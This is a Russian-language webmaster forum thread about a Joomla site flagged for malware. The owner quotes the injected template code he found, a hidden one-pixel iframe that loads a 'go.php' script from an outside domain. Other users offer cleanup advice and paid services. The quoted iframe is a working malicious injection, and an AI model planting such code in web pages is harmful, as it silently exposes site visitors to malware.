вирус на сайте, как быть?

12
G
На сайте с 22.08.2007
Offline
153
1159

Яндекс и некоторые службы проверки на вирусы начали ругаться на вирус.

В результате поиска, в шаблоне мной найдено следующее

<iframe name="SagUTeXYne" src="http://skgs.ru/templates/beez/sTDS/go.php?sid=1" marginwidth="1" marginheight="0" title="DYvynEXUZe" border="0" width="1" frameborder="0" height="0" scrolling="no">

Но стоит мне удалить это из шаблона, как эта строчка появляется снова. Что делать и как быть?

Сайт izo-dom.ru только если будете заходить, осторожно, ибо если там вирус, то можно и винду заразить.

Дружелюбный
DS
На сайте с 01.01.2011
Offline
24
#1

Найти ф-цию, которая записывает эту строку в файл шаблона...

Проще всего сохранить на локале и отдебажить сайт...

G
На сайте с 22.08.2007
Offline
153
#2
DreamSite:
Найти ф-цию, которая записывает эту строку в файл шаблона...
Проще всего сохранить на локале и отдебажить сайт...

я понимаю что найти, только как??? я не програмист, жумла для меня ваще темный лес, что за что отвечает - хз

G
На сайте с 12.04.2008
Offline
101
#3

Ну а тут не телепаты... хотите помощи - давайте доступ, тогда можно смотреть шаблоны и файлы и исправлять, а так это гадание на кофейной гуще...

Продажа сайтов (/ru/forum/866932) под Amazon и AdSense
G
На сайте с 22.08.2007
Offline
153
#4
GSMtricks:
Ну а тут не телепаты... хотите помощи - давайте доступ, тогда можно смотреть шаблоны и файлы и исправлять, а так это гадание на кофейной гуще...

спасибо, но я вроди победил проблему - скачал сайт и нашел антивирусом трояны в шаблонах и модулях, теперь онлайн проверка не ругается, ждем вердикта яндекса

Rustamus
На сайте с 24.01.2010
Offline
110
#5

на сайте есть js?

Может, дело в этом?

=> PoiskDonora.ru (Poiskdonora.ru): стань Бетменом - спаси чью-то жизнь! => Получайте посетителей Бесплатно (http://zalike.ru?/utm_source=searcheng&utm_campaign=podpis) Ежедневные обзоры (http://linkblink.ru/) самых интересных сайтов
[Удален]
#6
Rustamus:
на сайте есть js?

Джумла бывает без js? ))

G
На сайте с 22.08.2007
Offline
153
#7
Rustamus:
на сайте есть js?
Может, дело в этом?

какраз не в этом, на это не ругается и пишет, все впорядке. Ругался именно на пхп скрипты, и касперский там нашел трояны, которые видимо были заложены создателем сайта

WebGomel
На сайте с 29.10.2011
Offline
78
#8
gothicserge:
которые видимо были заложены создателем сайта

Глупости. На 100% уверен, что вы ни разу не обновляли ни джумлу, ни сторонние компоненты, следовательно стоит у вас старая дырявая версия, которую взломать не так уж трудно.

Взломали вас, дописали в файлы код, вы почистили, сейчас всё ок. Но не надолго, поверьте.

Вы искали лишние файлы на сервере? Вы посмотрели что изменилось в настройках сайта? Вы проверили файлы на шелы и бэкдоры?

Удалённый системный администратор ( https://remadmin.com )
G
На сайте с 22.08.2007
Offline
153
#9
WebGomel:
Глупости. На 100% уверен, что вы ни разу не обновляли ни джумлу, ни сторонние компоненты, следовательно стоит у вас старая дырявая версия, которую взломать не так уж трудно.

Взломали вас, дописали в файлы код, вы почистили, сейчас всё ок. Но не надолго, поверьте.
Вы искали лишние файлы на сервере? Вы посмотрели что изменилось в настройках сайта? Вы проверили файлы на шелы и бэкдоры?

Может и так, но обновлять джумлу я к сожалению не умею, в настройках сайта ни чего не поменялось, лишних файлов я не нашел. Когда мне достался этот сайт, он был полон ссылок на порно ресурсы, долго его чистил. Судя по резервной копии, сделанной год назад - вирусы и тогда там были. А так черт знает, может и взломали.

R
На сайте с 24.01.2008
Offline
180
#10
gothicserge:
Может и так, но обновлять джумлу я к сожалению не умею, в настройках сайта ни чего не поменялось, лишних файлов я не нашел. Когда мне достался этот сайт, он был полон ссылок на порно ресурсы, долго его чистил. Судя по резервной копии, сделанной год назад - вирусы и тогда там были. А так черт знает, может и взломали.

Ну раз они были, значит они и есть, стучите поможем избавиться от внешних ссылок и вирусов!

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov
12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий